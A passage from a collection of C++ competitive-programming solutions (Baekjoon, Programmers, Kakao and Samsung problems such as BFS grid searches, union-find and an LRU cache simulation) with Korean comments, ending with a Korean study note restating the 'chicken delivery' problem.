arr[1][0] = arr[1][1];
arr[1][1] = arr[0][1];
arr[0][1] = tmp;
}
int findAns() {
int n = 1, ans;
double mx = -2e9, val;
while (n <= 4) {
rotation();
val = ((double)arr[0][0] / arr[1][0]) + ((double)arr[0][1] / arr[1][1]);
if (mx < val) {
mx = val; ans = n;
}
n++;
}
return ans % 4;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/고급수학(7510).cpp
#include <iostream>
#include <algorithm>
#include <vector>
#include <string>
#define SC "Scenario"
#define YES "yes"
#define NO "no"
typedef long long ll;
using namespace std;
int tc;
string findAns() {
ll x;
vector<ll> v;
for (int i = 0; i < 3; i++) {
cin >> x;
v.push_back(x);
}
sort(v.begin(), v.end());
ll smallSum = v[0] * v[0] + v[1] * v[1];
ll bigSum = v[2] * v[2];
return smallSum == bigSum ? YES : NO;
}
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
cout << SC << " #" << t << ":" << '\n' << findAns() << '\n' << '\n';
}
return 0;
}<file_sep>/baekjoon/스킬트리.cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int solution(string skill, vector<string> skill_trees) {
int answer = 0;
for (string skill_trees : skill_trees) {
string s;
for (int i = 0; i < skill_trees.size(); i++) {
if (skill.find(skill_trees[i]) != string::npos) {
s += skill_trees[i];
}
}
int check = 0;
for (int i = 0; i < s.size(); i++) {
if (skill[i] != s[i]) break;
check++;
}
if (check == s.size()) answer++;
}
return answer;
}
int main() {
string skill = "CBD";
vector<string> skill_trees = { "BACDE" , "CBADF", "AECB", "BDA" };
cout << solution(skill, skill_trees);
return 0;
}<file_sep>/baekjoon/연구소(14502).cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
struct Pos {
int y, x;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
Pos() {}
};
int N, M, poseSize, ans = -2e9, virus;
int arr[9][9], visit[9][9];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
Pos poses[65];
bool used[65];
queue<Pos> q;
void bfs(Pos p) {
visit[p.y][p.x] = true;
q.push(p);
while (!q.empty()) {
Pos cur = q.front();
q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= M) continue;
if (arr[ny][nx] == 0 && visit[ny][nx] == false) {
visit[ny][nx] = true;
virus++;
q.push(Pos(ny, nx));
if (poseSize - virus < ans) return; //이전 ans의 wall 개수보다 크면, 더 이상 탐색이 필요 없다.
}
}
}
}
void dfs(int cnt, int idx) {
if (cnt == 3) {
//bfs시작
virus = 3;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (arr[i][j] == 2 && visit[i][j] == false) {
bfs(Pos(i, j));
}
}
}
//ans 최대값 비교
int diff = poseSize - virus;
ans = ans < diff ? diff : ans;
//q 비움
while (!q.empty()) q.pop();
//visit 초기화
memset(visit, false, sizeof(visit));
return;
}
for (int cur = idx; cur < poseSize; cur++) {
if (!used[cur]) {
used[cur] = true;
arr[poses[cur].y][poses[cur].x] = 1;
dfs(cnt + 1, cur + 1);
used[cur] = false;
arr[poses[cur].y][poses[cur].x] = 0;
}
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
if (arr[i][j] == 0) {
poses[poseSize++] = Pos(i, j);
}
}
}
dfs(0, 0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/톱니바퀴(14891).cpp
#include <iostream>
#include <math.h>
#define LEFT 6
#define RIGHT 2
using namespace std;
struct Rotation {
bool canRotate = false;
int dir = 1;
};
int arr[5][8]; //톱니바퀴
int temp[8];
int N, num, rot, ans;
Rotation rt[5];
void findAns() {
for (int i = 0; i < N; i++) {
scanf("%d %d", &num, &rot);
rt[num].canRotate = true;
rt[num].dir = rot;
//회전 유무 판단
if (num == 1) {
if (arr[1][RIGHT] != arr[2][LEFT]) {
rt[2].canRotate = true;
rt[2].dir = rt[1].dir * (-1);
}
if (arr[2][RIGHT] != arr[3][LEFT] && rt[2].canRotate) {
rt[3].canRotate = true;
rt[3].dir = rt[2].dir * (-1);
}
if (arr[3][RIGHT] != arr[4][LEFT] && rt[3].canRotate) {
rt[4].canRotate = true;
rt[4].dir = rt[3].dir * (-1);
}
}
else if (num == 2) {
if (arr[2][RIGHT] != arr[3][LEFT]) {
rt[3].canRotate = true;
rt[3].dir = rt[2].dir * (-1);
}
if (arr[1][RIGHT] != arr[2][LEFT]) {
rt[1].canRotate = true;
rt[1].dir = rt[2].dir * (-1);
}
if (arr[3][RIGHT] != arr[4][LEFT] && rt[3].canRotate) {
rt[4].canRotate = true;
rt[4].dir = rt[3].dir * (-1);
}
}
else if (num == 3) {
if (arr[3][RIGHT] != arr[4][LEFT]) {
rt[4].canRotate = true;
rt[4].dir = rt[3].dir * (-1);
}
if (arr[2][RIGHT] != arr[3][LEFT]) {
rt[2].canRotate = true;
rt[2].dir = rt[3].dir * (-1);
}
if (arr[1][RIGHT] != arr[2][LEFT] && rt[2].canRotate) {
rt[1].canRotate = true;
rt[1].dir = rt[2].dir * (-1);
}
}
else if (num == 4) {
if (arr[3][RIGHT] != arr[4][LEFT]) {
rt[3].canRotate = true;
rt[3].dir = rt[4].dir * (-1);
}
if (arr[2][RIGHT] != arr[3][LEFT] && rt[3].canRotate) {
rt[2].canRotate = true;
rt[2].dir = rt[3].dir * (-1);
}
if (arr[1][RIGHT] != arr[2][LEFT] && rt[2].canRotate) {
rt[1].canRotate = true;
rt[1].dir = rt[2].dir * (-1);
}
}
//회전 시키기
for (int k = 1; k <= 4; k++) {
if (rt[k].canRotate) {
for (int j = 0; j < 8; j++) temp[j] = arr[k][j];
//시계
if (rt[k].dir == 1) {
for (int j = 0; j < 8; j++) {
arr[k][(j + 1) % 8] = temp[j];
}
}
//반시계
else {
for (int j = 0; j < 8; j++) {
arr[k][j] = temp[(j + 1) % 8];
}
}
}
//초기화
rt[k].canRotate = false;
rt[k].dir = 1;
}
}
for (int i = 1; i <= 4; i++) {
ans += arr[i][0] * pow(2, i - 1);
}
}
int main() {
for (int i = 1; i <= 4; i++) {
for (int j = 0; j < 8; j++) {
scanf("%1d", &arr[i][j]);
}
}
scanf("%d", &N);
findAns();
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/먹을 것인가 먹힐 것인가(7795).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int A[20001], B[20001];
int tc, N, M;
void input() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) scanf("%d", &A[i]);
for (int i = 0; i < M; i++) scanf("%d", &B[i]);
}
int findAns() {
sort(B, B + M);
int ans = 0;
for (int i = 0; i < N; i++) {
ans += lower_bound(B, B + M, A[i]) - B;
}
return ans;
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
input();
printf("%d\n", findAns());
}
return 0;
}
//반례 찾고 모든 케이스 통과했으나, 실패 (직접 이분탐색 구현해서)
//int binarySearch(int &val) {
// int s = 0, e = M - 1;
//
// if (val > B[e]) return M;
// if (val <= B[s]) return 0;
//
// int mid;
// while (1) {
// mid = (s + e) / 2;
// //if (val == B[mid]) return mid; //잘못된 로직 (만약 조건이 맞는 B[mid]값이 여러개라면 맨 앞의 값의 인덱스를 줘야함)
// /*
// 반례
// 1
// 4 6
// 2 11 7 104
// 7 11 11 11 103 290
// 답은 6인데 7나옴
// */
// //같은 값이 여러 개인 경우 해당 값들 중 맨 앞값의 인덱스를 반환
// if (val == B[mid]) {
// for (int i = mid - 1; i >= 0; i--) {
// if (B[i] != B[mid]) return i + 1;
// }
// }
// if (val > B[mid]) {
// s = mid + 1;
// if (s >= e) return e;
// }
// else {
// e = mid - 1;
// if (s >= e) return e + 1;
// }
// }
//}<file_sep>/baekjoon/신입 사원(1946).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int TC, N;
struct Applicant {
int first, second;
Applicant(int y, int x) {
this->first = y;
this->second = x;
}
Applicant() {};
};
bool cmp(Applicant &first, Applicant &second) {
return first.first > second.first;
}
int findAns() {
vector<Applicant> v;
int cnt = 0;
int y, x;
for (int i = 0; i < N; i++) {
cin >> y >> x;
v.push_back(Applicant(y, x));
}
sort(v.begin(), v.end(), cmp);
for (int i = 0; i < N - 1; i++) {
for (int j = i+1; j < N; j++) {
if (v[i].second > v[j].second) {
cnt++;
break;
}
}
}
return N - cnt;
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(0);
cin >> TC;
for (int t = 1; t <= TC; t++) {
cin >> N;
cout << findAns() << '\n';
}
return 0;
}<file_sep>/baekjoon/choising_1.cpp
#include <iostream>
#include <string>
#include <math.h>
using namespace std;
int getBinary(string s) {
int decimal = 0;
int val = 0;
for (int i = 0; i < s.size(); i++) {
val = s[(s.size() - 1) - i] - '0';
decimal += val * pow(2, i);
}
return decimal;
}
int solution(string s) {
int ans = 0;
int decimal = getBinary(s);
while (decimal) {
if (decimal % 2 != 0) {
decimal--;
ans++;
}
else {
decimal /= 2;
ans++;
}
}
return ans;
}
int main() {
cout << solution("011000");
return 0;
}<file_sep>/baekjoon/집합의 표현(1717).cpp
#include <iostream>
using namespace std;
int n, m;
int v[1000001];
int find(int a) {
if (v[a] == a) return a;
return v[a] = find(v[a]);
}
void uni(int a, int b) {
int aRoot = find(a);
int bRoot = find(b);
v[aRoot] = bRoot;
}
void findAns() {
int x, a, b;
for (int i = 1; i <= n; i++) {
v[i] = i;
}
for (int i = 0; i < m; i++) {
scanf("%d %d %d", &x, &a, &b);
if (x == 0) {
uni(a, b);
}
else {
if (find(a) == find(b)) printf("YES\n");
else printf("NO\n");
}
}
}
int main() {
scanf("%d %d", &n, &m);
findAns();
return 0;
}<file_sep>/baekjoon/sds_단어card.cpp
#include <iostream>
#include <vector>
#include <utility>
#include <string>
#include <algorithm>
using namespace std;
int N;
vector <string> str;
void input() {
cin >> N;
for (int i = 0; i < N; i++) {
string c;
cin >> c;
str.push_back(c);
}
}
string findAns() {
string ans, str1, str2;
ans = str1 = str2 = str[0];
for (int i = 1; i < str.size(); i++) {
str1 = ans + str[i];
str2 = str[i] + ans;
if (str1 < str2) {
ans = str2;
}
else {
ans = str1;
}
}
str.clear();
return ans;
}
int main() {
int tc;
cin >> tc;
for (int t = 1; t <= tc; t++) {
input();
cout << '#' << t << ' ' << findAns() << '\n';
}
return 0;
}<file_sep>/baekjoon/분수찾기(1193).cpp
#include <iostream>
#define MAX 10000000
using namespace std;
int input, temp;
int up, down; //분자,분모
int main() {
cin >> input;
for (int i = 1; i <= MAX; i++) {
temp = input - i;
if (temp <= 0) {
//짝수
if (i % 2 == 0) {
up = input; //temp에 의해 가공된 input은 찾고자 하는 숫자가 포함된 라인에서, 몇 번째에 위치하는지를 의미
down = i + 1 - up; //i는 몇 번째 라인인지를 의미
break;
}
//홀수
else {
down = input;
up = i + 1 - down;
break;
}
}
else {
input = temp;
}
}
cout << up << '/' << down;
return 0;
}<file_sep>/baekjoon/타겟 넘버.cpp
#include <iostream>
#include <vector>
using namespace std;
vector<int> v;
int ans;
void dfs(int idx, int sum, int target) {
if (idx == v.size()) {
if (sum == target) ans++;
return;
}
dfs(idx + 1, sum - v[idx], target);
dfs(idx + 1, sum + v[idx], target);
}
int solution(vector<int> numbers, int target) {
v = numbers;
dfs(0, 0, target);
return ans;
}<file_sep>/baekjoon/K번째 수(11004).cpp
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int N, K;
vector<int> v;
void findAns() {
sort(v.begin(), v.end());
cout << v[K-1];
}
int main() {
ios::sync_with_stdio(false);
cin >> N >> K;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
v.push_back(x);
}
findAns();
return 0;
}<file_sep>/baekjoon/추론(1731).cpp
#include <iostream>
typedef long long ll;
using namespace std;
int N;
ll arr[51];
void input() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
scanf("%d", &arr[i]);
}
}
bool isDiff() {
return arr[N - 1] - arr[N - 2] == arr[N - 2] - arr[N - 3];
}
int findAns() {
if (isDiff()) return 2 * arr[N - 1] - arr[N - 2];
return arr[N - 1] * arr[N - 1] / arr[N - 2];
}
int main() {
input();
printf("%d", findAns());
return 0;
}<file_sep>/baekjoon/콘테스트(5576).cpp
#include <iostream>
#include <queue>
using namespace std;
priority_queue<int> w, k;
void input() {
int x;
for (int i = 0; i < 20; i++) {
cin >> x;
if (i < 10) {
w.push(x);
continue;
}
k.push(x);
}
}
void findAns() {
int wAns = 0, kAns = 0;
for (int i = 0; i < 3; i++) {
wAns += w.top(); w.pop();
kAns += k.top(); k.pop();
}
cout << wAns << ' ' << kAns;
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/경사로(14890).cpp
#include <iostream>
#include <string.h>
using namespace std;
int N, L, arr[101][101], ans, tc;
int w[101], h[101];
bool rUp[101], rDown[101];
void findAns(int road[101]) {
memset(rUp, false, sizeof(rUp));
memset(rDown, false, sizeof(rDown));
int cnt = 0;
//모두 같은지 먼저 판별
for (int i = 0; i < N - 1; i++) {
if (road[i] == road[i + 1]) cnt++;
}
if (cnt == N - 1) {
ans++;
return;
}
//rUp
for (int i = 0; i < N - 1; i++) {
if (road[i] + 1 < road[i + 1]) return;
if (road[i] + 1 == road[i + 1]) {
//경사로 범위가 모두 평지인지 체크
for (int j = i - (L - 1); j <= i; j++) {
if (j < 0) return;
if (road[j] != road[i]) return;
}
//설치 가능하면
for (int j = i - (L - 1); j <= i; j++) {
rUp[j] = true;
}
}
}
//rDown
for (int i = 0; i < N - 1; i++) {
if (road[i] - 1 > road[i + 1]) return;
if (road[i] == road[i + 1] + 1) {
//경사로 범위가 모두 평지인지 체크
for (int j = i + 1; j <= i + L; j++) {
if (j >= N) return;
if (road[j] != road[i + 1]) return;
}
//설치 가능하면
for (int j = i + 1; j <= i + L; j++) {
rDown[j] = true;
}
}
}
//rUp과 rDown 둘다 true인 인덱스가 존재하면 설치X (다리 설치 중복)
for (int i = 0; i < N; i++) {
if (rUp[i] == true && rDown[i] == true) return;
}
ans++;
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
scanf("%d %d", &N, &L);
ans = 0;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf("%d", &arr[i][j]);
}
}
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
w[j] = arr[i][j];
h[j] = arr[j][i];
}
findAns(w);
findAns(h);
}
printf("#%d %d\n", t, ans);
}
return 0;
}<file_sep>/baekjoon/네수(10824).cpp
#include <iostream>
#include <string>
#include <stdlib.h>
using namespace std;
string a, b;
void input() {
string x = "";
for (int i = 0; i < 2; i++) {
cin >> x;
a += x;
}
for (int i = 0; i < 2; i++) {
cin >> x;
b += x;
}
}
void findAns() {
cout << atoll(a.c_str()) + atoll(b.c_str());
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/공(1547).cpp
#include <iostream>
using namespace std;
int x, y, n, ans = 1;
void findAns() {
for (int i = 0; i < n; i++) {
cin >> x >> y;
if (x == ans) {
ans = y;
}
else if (y == ans) {
ans = x;
}
}
}
int main() {
cin >> n;
findAns();
cout << ans;
return 0;
}<file_sep>/baekjoon/유학금지(2789).cpp
#include <iostream>
#include <map>
#include <string>
using namespace std;
map<char, bool> m;
string str, cambridge = "CAMBRIDGE";
void findAns() {
for (char var : cambridge) {
m[var] = true;
}
for (char var : str) {
if (!m[var]) cout << var;
}
}
int main() {
cin >> str;
findAns();
return 0;
}<file_sep>/baekjoon/문자열(1120).cpp
#include <iostream>
#include <string>
using namespace std;
string A, B;
int ans = 2e9;
void calcDiff(string b) {
int cnt = 0;
for (int i = 0; i < A.size(); i++) {
if (A[i] != b[i]) cnt++;
}
ans = cnt < ans ? cnt : ans;
}
void findAns() {
string b;
int range = B.size() - A.size();
for (int i = 0; i <= range; i++) {
b = B.substr(i, A.size());
calcDiff(b);
}
}
int main() {
cin >> A >> B;
findAns();
cout << ans;
return 0;
}<file_sep>/baekjoon/다리 만들기(2146).cpp
#include <iostream>
#include <queue>
#include <math.h>
using namespace std;
struct Pos {
int y, x, area;
bool valid = false;
Pos(int y, int x, int area) {
this->y = y;
this->x = x;
this->area = area;
}
Pos() {}
};
Pos poses[10001];
bool used[10001];
bool visit[101][101];
int arr[101][101];
int N, posSize, ans = 2e9;
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
void dfs(int cnt, int idx, int h, int w, int before) {
if (cnt == 2) {
int sum = h + w - 1;
ans = ans > sum ? sum : ans;
return;
}
for (int i = idx; i < posSize; i++) {
if (used[i] == false && poses[i].area != before) {
used[i] = true;
dfs(cnt + 1, i + 1, abs(h - poses[i].y), abs(w - poses[i].x), poses[i].area);
used[i] = false;
}
}
}
void bfs(Pos p , int num) {
queue<Pos> q;
q.push(p);
visit[p.y][p.x] = true;
while (!q.empty()) {
Pos cur = q.front();
q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= N) continue;
if (visit[ny][nx] == false && arr[ny][nx] == 1) {
visit[ny][nx] = true;
q.push(Pos(ny,nx,num));
}
else if (arr[ny][nx] == 0 && cur.valid == false) {
cur.valid = true;
poses[posSize++] = cur;
}
}
}
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf("%d", &arr[i][j]);
}
}
int num = 1;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (!visit[i][j] && arr[i][j] == 1) {
bfs(Pos(i, j, num), num);
num++;
}
}
}
dfs(0, 0, 0, 0, 0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/프로그래머스_짝지어 정렬하기.cpp
#include <iostream>
#include<string>
#include <stack>
using namespace std;
stack <char> st;
int solution(string s) {
for (char c : s) {
if (st.empty()) {
st.push(c);
continue;
}
if (st.top() == c) st.pop();
else st.push(c);
}
return st.empty();
}<file_sep>/baekjoon/kakao_2018_1차_1번.cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int arr1[17], arr2[17];
int n;
void input(int arr[]) {
for (int i = 0; i < n; i++) {
cin >> arr[i];
}
}
vector<string> findAns(int n, int arr1[], int arr2[]) {
vector<string> ans(n);
for (int i = 0; i < n; i++) {
arr1[i] |= arr2[i];
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
ans[i] = ((arr1[i] % 2 == 1) ? "#" : " ") + ans[i];
arr1[i] /= 2;
}
}
return ans;
}
int main() {
cin >> n;
input(arr1);
input(arr2);
vector<string> v = findAns(n, arr1, arr2);
for (string var : v) {
cout << var << ' ';
}
return 0;
}
///////////////////////////¹®Á¦ : http://tech.kakao.com/2017/09/27/kakao-blind-recruitment-round-1/ //////////////////////<file_sep>/baekjoon/프로그래머스_등굣길.cpp
#include <string>
#include <vector>
#include <queue>
#include <iostream>
#define DIV 1000000007
using namespace std;
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
int land[102][102], number[102][102];
bool used[102][102];
struct Pos {
int y, x;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
};
int bfs(int y, int x, int m, int n) {
queue<Pos> q;
q.push(Pos(y, x));
number[1][1] = 1;
used[1][1] = true;
while (!q.empty()) {
Pos cur = q.front(); q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny<1 || nx <1 || ny > n || nx >m) continue;
if (land[ny][nx] != 1 && !used[ny][nx]) {
q.push(Pos(ny, nx));
used[ny][nx] = true;
if (ny - 1 >= 1 && land[ny - 1][nx] != 1) number[ny][nx] += number[ny - 1][nx] % DIV;
if (nx - 1 >= 1 && land[ny][nx - 1] != 1) number[ny][nx] += number[ny][nx - 1] % DIV;
//number[ny][nx] = number[cur.y][cur.x];
}
}
}
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= m; j++) {
cout << number[i][j];
}
cout << '\n';
}
return number[n][m];
}
int solution(int m, int n, vector<vector<int>> puddles) {
for (int i = 0; i < puddles.size(); i++) {
land[puddles[i][1]][puddles[i][0]] = 1;
}
return bfs(1, 1, m, n);
}<file_sep>/baekjoon/Defanging an IP Address(1108).cpp
#include <iostream>
#include <string>
#define DOT "[.]"
using namespace std;
class Solution {
public:
string defangIPaddr(string address) {
string result = "";
for (char c : address) {
if (c == '.') {
result += DOT;
continue;
}
result += c;
}
return result;
}
};<file_sep>/baekjoon/kakao_2018_1차_2번.cpp
#include <iostream>
#include <vector>
#include <map>
#include <algorithm>
#include <string>
using namespace std;
map<string, int> m;
map<string, int>::iterator iter;
int ans, maxVal;
void upAge() {
for (iter = m.begin(); iter != m.end(); iter++) {
iter->second++;
}
}
int findMax() {
maxVal = -2e9;
for (iter = m.begin(); iter != m.end(); iter++) {
maxVal = iter->second > maxVal ? iter->second : maxVal;
}
return maxVal;
}
void LRU(int cacheSize, string cities[], int size) {
int ans = 0;
//cout << sizeof(cities) <<'\n'; //배열 포인터의 사이즈가 반환 됨
for (int i = 0; i < size; i++) {
//대소문자 통일 (소문자로)
transform(cities[i].begin(), cities[i].end(), cities[i].begin(), tolower);
//캐시 사이즈가 0일 때
if (cacheSize == 0) {
ans += 5;
continue;
}
//히트
if (m.count(cities[i])) {
upAge();
m[cities[i]] = 1;
ans += 1;
}
//미스
else {
//비어있는 캐시
if (m.size() != cacheSize) {
upAge();
m[cities[i]] = 1;
ans += 5;
continue;
}
//꽉찬 캐시
else {
findMax();
for (iter = m.begin(); iter != m.end(); iter++) {
if (iter->second == maxVal) {
m.erase(iter);
break;
}
}
upAge();
m[cities[i]] = 1;
ans += 5;
}
}
}
m.clear();
cout << ans << '\n';;
ans = 0;
}
int main() {
string cities1[10] = { "Jeju", "Pangyo", "Seoul", "NewYork", "LA", "Jeju", "Pangyo", "Seoul", "NewYork", "LA" };
string cities2[9] = { "Jeju", "Pangyo", "Seoul", "Jeju", "Pangyo", "Seoul", "Jeju", "Pangyo", "Seoul" };
string cities3[12] = { "Jeju", "Pangyo", "Seoul", "NewYork", "LA", "SanFrancisco", "Seoul", "Rome", "Paris", "Jeju", "NewYork", "Rome" };
string cities4[12] = { "Jeju", "Pangyo", "Seoul", "NewYork", "LA", "SanFrancisco", "Seoul", "Rome", "Paris", "Jeju", "NewYork", "Rome" };
string cities5[4] = { "Jeju", "Pangyo", "NewYork", "newyork" };
string cities6[5] = { "Jeju", "Pangyo", "Seoul", "NewYork", "LA" };
LRU(3, cities1, sizeof(cities1) / sizeof(string));
LRU(3, cities2, sizeof(cities2) / sizeof(string));
LRU(2, cities3, sizeof(cities3) / sizeof(string));
LRU(5, cities4, sizeof(cities4) / sizeof(string));
LRU(2, cities5, sizeof(cities5) / sizeof(string));
LRU(0, cities6, sizeof(cities6) / sizeof(string));
return 0;
}<file_sep>/baekjoon/한다 안한다(5789).cpp
#include <iostream>
#include <string>
#define DO "Do-it"
#define DO_NOT "Do-it-Not"
using namespace std;
int T;
string findAns(string str) {
int idx = str.size() / 2;
if (str[idx] == str[idx - 1]) return DO;
return DO_NOT;
}
int main() {
cin >> T;
string input;
for (int tc = 1; tc <= T; tc++) {
cin >> input;
cout << findAns(input) << '\n';
}
return 0;
}<file_sep>/baekjoon/KLOPKA(10540).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int N;
int findAns() {
vector<int> xPos, yPos;
int x = 0, y = 0;
for (int i = 0; i < N; i++) {
cin >> x >> y;
xPos.push_back(x);
yPos.push_back(y);
}
sort(xPos.begin(), xPos.end());
sort(yPos.begin(), yPos.end());
x = xPos.back() - xPos.front();
y = yPos.back() - yPos.front();
int longestLen = y > x ? y : x;
return longestLen * longestLen;
}
int main() {
cin >> N;
cout << findAns();
return 0;
}<file_sep>/baekjoon/소수 찾기(1978).cpp
#include <iostream>
using namespace std;
int N;
bool isNotPrime[1001];
void eraseMultiple(int n) {
for (int i = n * 2; i < 1001; i += n) {
if(!isNotPrime[i]) isNotPrime[i] = true;
}
}
void getPrime() {
isNotPrime[1] = true;
for (int i = 2; i < 1001; i++) {
if (!isNotPrime[i]) {
eraseMultiple(i);
}
}
}
int findAns() {
int cnt = 0, x;
getPrime();
for (int i = 0; i < N; i++) {
cin >> x;
if (!isNotPrime[x]) cnt++;
}
return cnt;
}
int main() {
ios_base::sync_with_stdio(false);
cin >> N;
cout << findAns();
return 0;
}<file_sep>/baekjoon/삼성_수영장(1952).cpp
//#include <iostream>
//#include <vector>
//#include <string.h>
//#define JANUARY 3
//#define DECEMBER 14
//using namespace std;
//int T;
//int dp[15];
//int plan[15];
//vector <int> fee;
//
//void findAns() {
// for (int i = JANUARY; i <= DECEMBER; i++) {
// if (plan[i] == 0) {
// dp[i] = dp[i - 1];
// }
// if (plan[i] > 0) {
// //1일 이용권
// dp[i] = dp[i - 1] + plan[i] * fee[0];
// //1달 이용권
// if (dp[i] > dp[i - 1] + fee[1]) {
// dp[i] = dp[i - 1] + fee[1];
// }
// //3달 이용권
// if (dp[i] > dp[i - 3] + fee[2]) {
// dp[i] = dp[i - 3] + fee[2];
// }
// //1년 이용권
// if (dp[i] > fee[3]) {
// dp[i] = fee[3];
// }
// }
// }
//}
//
//int main() {
// cin >> T;
// for (int t = 1; t <= T; t++) {
// for (int i = 0; i < 4; i++) {
// int input;
// cin >> input;
// fee.push_back(input);
// }
// for (int i = JANUARY; i <= DECEMBER; i++) {
// cin >> plan[i];
// }
// findAns();
// cout << "#" << t << ' ' << dp[DECEMBER] << '\n';
// fee.clear();
// memset(dp, 0, sizeof(dp));
// }
// return 0;
//}
///////////////////////////////////////////////////재귀이용//////////////////////////////////////////////////////
//#include <iostream>
//#include <vector>
//#define DAY 0
//#define ONE_M 1
//#define THREE_M 2
//#define YEAR 3
//#define JAN 0
//#define DEC 11
//using namespace std;
//int T;
//vector <int> fee;
//int plan[12];
//int ans = 2e9;
//
//void findAns(int month, int sum) {
// if (month > DEC) {
// ans = ans > sum ? sum : ans;
// return;
// }
// if (plan[month] > 0) {
// for (int i = DAY; i <= YEAR; i++) {
// if (i == DAY) {
// findAns(month + 1, sum + plan[month] * fee[DAY]);
// }
// if (i == ONE_M) {
// findAns(month + 1, sum + fee[ONE_M]);
// }
// if (i == THREE_M) {
// findAns(month + 3, sum + fee[THREE_M]);
// }
// if (i == YEAR) {
// findAns(DEC + 1, fee[YEAR]);
// }
// }
// }
// else {
// findAns(month + 1, sum);
// }
//}
//
//int main() {
// cin >> T;
// for (int t = 1; t <= T; t++) {
// for (int i = 0; i < 4; i++) {
// int input;
// cin >> input;
// fee.push_back(input);
// }
// for (int i = JAN; i <= DEC; i++) {
// cin >> plan[i];
// }
// findAns(JAN, 0);
// cout << "#" << t << ' ' << ans << '\n';
// fee.clear();
// ans = 2e9;
// }
// return 0;
//}<file_sep>/baekjoon/괄호찾기.cpp
//#include <string>
//#include <vector>
//
//using namespace std;
//
//vector<int> solution(vector<int> pattern) {
// vector<int> answer;
// return answer;
//}<file_sep>/baekjoon/모음의 개수(10987).cpp
#include <iostream>
#include <string>
#include <map>
using namespace std;
map<char, bool> m;
int ans;
string str;
int main() {
string vowels = "aeiou";
for (char c : vowels) m[c] = true;
cin >> str;
for (char c : str) if (m.count(c)) ans++;
cout << ans;
return 0;
}
<file_sep>/TIL/2019-03-18(치킨배달_15686).md
# [치킨 배달(15686번)](https://www.acmicpc.net/problem/15686)
## 문제
**크기가 N×N인 도시가 있다. 도시는 1×1크기의 칸으로 나누어져 있다. 도시의 각 칸은 빈 칸, 치킨집, 집 중 하나이다. 도시의 칸은 (r, c)와 같은 형태로 나타내고, r행 c열 또는 위에서부터 r번째 칸, 왼쪽에서부터 c번째 칸을 의미한다. r과 c는 1부터 시작한다.**
**이 도시에 사는 사람들은 치킨을 매우 좋아한다. 따라서, 사람들은 "치킨 거리"라는 말을 주로 사용한다. 치킨 거리는 집과 가장 가까운 치킨집 사이의 거리이다. 즉, 치킨 거리는 집을 기준으로 정해지며, 각각의 집은 치킨 거리를 가지고 있다. ***도시의 치킨 거리는 모든 집의 치킨 거리의 합이다.*****
**임의의 두 칸 (r1, c1)과 (r2, c2) 사이의 거리는 |r1-r2| + |c1-c2|로 구한다.**
**예를 들어, 아래와 같은 지도를 갖는 도시를 살펴보자.**
~~~
0 2 0 1 0
1 0 1 0 0
0 0 0 0 0
0 0 0 1 1
0 0 0 1 2
~~~
**0은 빈 칸, 1은 집, 2는 치킨집이다.**
**(2, 1)에 있는 집과 (1, 2)에 있는 치킨집과의 거리는 |2-1| + |1-2| = 2, (5, 5)에 있는 치킨집과의 거리는 |2-5| + |1-5| = 7이다. 따라서, (2, 1)에 있는 집의 치킨 거리는 2이다.**
**(5, 4)에 있는 집과 (1, 2)에 있는 치킨집과의 거리는 |5-1| + |4-2| = 6, (5, 5)에 있는 치킨집과의 거리는 |5-5| + |4-5| = 1이다. 따라서, (5, 4)에 있는 집의 치킨 거리는 1이다.**
**이 도시에 있는 치킨집은 모두 같은 프랜차이즈이다. 프렌차이즈 본사에서는 수익을 증가시키기 위해 일부 치킨집을 폐업시키려고 한다. 오랜 연구 끝에 이 도시에서 가장 수익을 많이 낼 수 있는 치킨집의 개수는 최대 M개라는 사실을 알아내었다.**
**도시에 있는 치킨집 중에서 최대 M개를 고르고, 나머지 치킨집은 모두 폐업시켜야 한다. 어떻게 고르면, ***도시의 치킨 거리*** 가 가장 작게 될지 구하는 프로그램을 작성하시오.**
## 입력
첫째 줄에 N(2 ≤ N ≤ 50)과 M(1 ≤ M ≤ 13)이 주어진다.
둘째 줄부터 N개의 줄에는 도시의 정보가 주어진다.
